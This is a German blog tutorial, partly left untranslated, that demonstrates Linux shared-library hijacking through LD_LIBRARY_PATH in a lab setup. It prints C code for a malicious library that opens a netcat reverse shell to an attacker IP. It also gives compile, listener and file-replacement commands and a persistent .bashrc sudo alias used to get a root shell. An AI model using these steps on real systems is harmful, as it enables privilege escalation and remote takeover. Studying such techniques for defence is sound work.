Missbrauch von Shared Libraries zur Durchführung bösartiger Angriffe
Agenda
Dieser Beitrag wurde aus dem Englischen übersetzt. Zum Originalbeitrag.
Überblick über Shared Libraries in Linux
Dieser Artikel erläutert, wie Angreifer die legitime Nutzung von Shared Libraries in einer Linux-Umgebung ausnutzen. Shared Libraries sind Sammlungen von Funktionen und Daten, die von mehreren Programmen gemeinsam genutzt werden. Sie sind typischerweise an der Dateiendung .so (Shared Object) erkennbar und werden zur Laufzeit dynamisch eingebunden.
Dieses Vorgehen reduziert die Größe von Executables und verbessert die Effizienz des Systems. Gleichzeitig gilt: Änderungen an einer Shared Library können sich auf sämtliche Programme auswirken, die diese Bibliothek verwenden.
Im Linux-Ökosystem basieren Shared Libraries in der Regel auf dem Executable and Linkable Format (ELF), einem Standardformat für ausführbare Dateien, Objektcode und Bibliotheken.
Verständnis der Suchpfade für Shared Libraries
When a Linux application is executed, it follows a specific sequence to locate its required libraries. Once it finds the required library, it stops searching and loads that library. Here’s how the search process works:
- Verzeichnisse im Runtime Library Search Path (RPATH), der im Binary selbst hinterlegt ist
- Verzeichnisse aus der Umgebungsvariable LD_LIBRARY_PATH
- Verzeichnisse im RUNPATH (ebenfalls im Binary definiert)
- Pfade aus der Konfigurationsdatei /etc/ld.so.conf
- Standard-Library-Verzeichnisse wie:
/lib, /lib64, /usr/lib, /usr/lib64.
Ausnutzung des Suchpfad-Mechanismus
Genau diese Suchreihenfolge stellt ein potenzielles Sicherheitsrisiko dar. Angreifer können den Ladeprozess beeinflussen, indem sie manipulierte Bibliotheken in höher priorisierte Verzeichnisse platzieren.
Diese Technik wird als Library Hijacking bezeichnet und nutzt gezielt die Reihenfolge der Library-Auflösung aus. Ziel ist es, legitime Bibliotheken durch manipulierte Versionen zu ersetzen und so das Verhalten von Anwendungen zu kontrollieren.
Ein häufig genutzter Ansatz ist die Manipulation der Umgebungsvariable LD_LIBRARY_PATH. Diese erlaubt es, benutzerdefinierte Library-Pfade zu definieren – ursprünglich für Testzwecke gedacht, in der Praxis aber auch missbrauchbar, um bösartige Bibliotheken einzuschleusen und z. B. Privilege Escalation zu erreichen.
Im Folgenden wird ein praktisches Beispiel auf Basis eines Ubuntu-Testsystems gezeigt, bei dem eine manipulierte Library namens mylibrary eingesetzt wird.
Erstellung der bösartigen Library
Zunächst wird eine manipulierte Shared Library entwickelt. Das folgende C-Beispiel öffnet beim Laden der Library eine Reverse Shell:
|
#include <stdio.h> #include <stdlib.h> #include <sys/types.h> #include <unistd.h>
static void revShell() __attribute__((constructor));
void revShell() { setuid(0); setgid(0); printf("Reverse Shell via library hijacking... \n"); const char *ncshell = "nc -e /bin/sh 192.168.171.1 7777 &"; system(ncshell); } |
Die Funktion revShell() ist als Constructor definiert. Das bedeutet, sie wird automatisch ausgeführt, sobald die Library geladen wird – noch bevor die eigentliche Anwendung startet.
Innerhalb der Funktion werden Benutzer- und Gruppen-ID auf 0 gesetzt (Root-Rechte), sofern die Library im Kontext privilegierter Prozesse geladen wird. Anschließend wird mittels Netcat eine Reverse Shell zum Angreifer aufgebaut.
Kompilierung der bösartigen Library
Um unsere gemeinsam genutzte Bibliothek zu kompilieren, verwenden wir die folgenden Befehle:
|
gcc -Wall -fPIC -c mylibrary.c -o mylibrary.o |
-Wall: Aktiviert alle Compiler-Warnungen
-fPIC: Generiert positionsunabhängigen Code (für Shared Libraries erforderlich)
-c: Kompiliert ohne zu linken
-o: Gibt den Ausgabedateinamen an
Erstellung der Shared Library
Anschließend wird aus dem Objektfile die Shared Library erzeugt:
|
gcc -shared mylibrary.o -o libmylibrary.so |
Identifikation einer geeigneten Anwendung
Für den Angriff wird eine Anwendung benötigt, die
-
häufig ausgeführt wird (idealerweise mit erhöhten Rechten)
-
durch das Hijacking nicht sofort abstürzt.
Im Beispiel wird der Befehl ps verwendet. Dieser wird oft mit sudo ausgeführt und eignet sich daher als Angriffsziel.
Mit dem Tool ldd lassen sich die verwendeten Bibliotheken analysieren:
|
ldd /bin/ps .... libgpg-error.so.0 => /lib/x86_64-linux-gnu/libgpg-error.so.0 (0x00007ffff6614000)
|
![]()
Diese Library ist ein geeigneter Kandidat, da sie meist geladen, aber nicht intensiv genutzt wird.
Einrichten der Umgebung
Die manipulierte Library wird nun vorbereitet:
|
cd /home/msbit/Labs/shared_lib/ld_lib_path export LD_LIBRARY_PATH=/home/msbit/Labs/shared_lib/ld_lib_path cp libmylibrary.so libgpg-error.so.0 |
Damit wird sichergestellt, dass die manipulierte Library bevorzugt geladen wird.
Ausführung des Zielprogramms
Zunächst wird auf der Angreiferseite ein Listener gestartet:
|
rlwrap nc -lvp 7777 |
Anschließend wird das Zielprogramm ausgeführt:
|
ps ps: /home/msbit/Labs/shared_lib/ld_lib_path/libgpg-error.so.0: no version information available (required by /lib/x86_64-linux-gnu/libgcrypt.so.20) Reverse Shell via library hijacking... PID TTY TIME CMD 2023 pts/18 00:00:00 bash 2824 pts/18 00:00:00 ps 2826 pts/18 00:00:00 sh |
Parallel dazu erhält der Angreifer eine Reverse Shell. Diese läuft mit den Rechten des ausführenden Users.
![]()
Wird der Befehl mit sudo ausgeführt, kommt keine Verbindung zustande.
Grund: Moderne Linux-Systeme setzen standardmäßig die Option env_reset in der Datei /etc/sudoers. Dadurch werden benutzerdefinierte Umgebungsvariablen wie LD_LIBRARY_PATH beim Aufruf von sudo entfernt.
![]()
Erlangen einer Root-Shell
Um dieses Verhalten zu umgehen, kann ein Alias für sudo definiert werden, der die Variable explizit übergibt:![]()
- Temporary Alias:
|
alias sudo='sudo LD_LIBRARY_PATH=/home/msbit/Labs/shared_lib/ld_lib_path' |
- Persistent Alias in .bashrc
|
echo 'alias sudo="sudo LD_LIBRARY_PATH=/home/msbit/Labs/shared_lib/ld_lib_path"' >> ~/.bashrc source ~/.bashrc |
Danach kann der Angriff erneut durchgeführt werden:
|
sudo ps |
Nun erhält der Angreifer eine Reverse Shell mit Root-Rechten.
![]()
Testumgebung
Opfer-System:
- Ubuntu 16.04.7 LTS (x86_64)
- netcat-traditional 1.10-41
- Vim 7.4
Angreifer-System:
- Kali Linux Rolling (Kernel 6.6.15-2)
Weitere Informationen finden Sie in unseren Cybersecurity Offerings.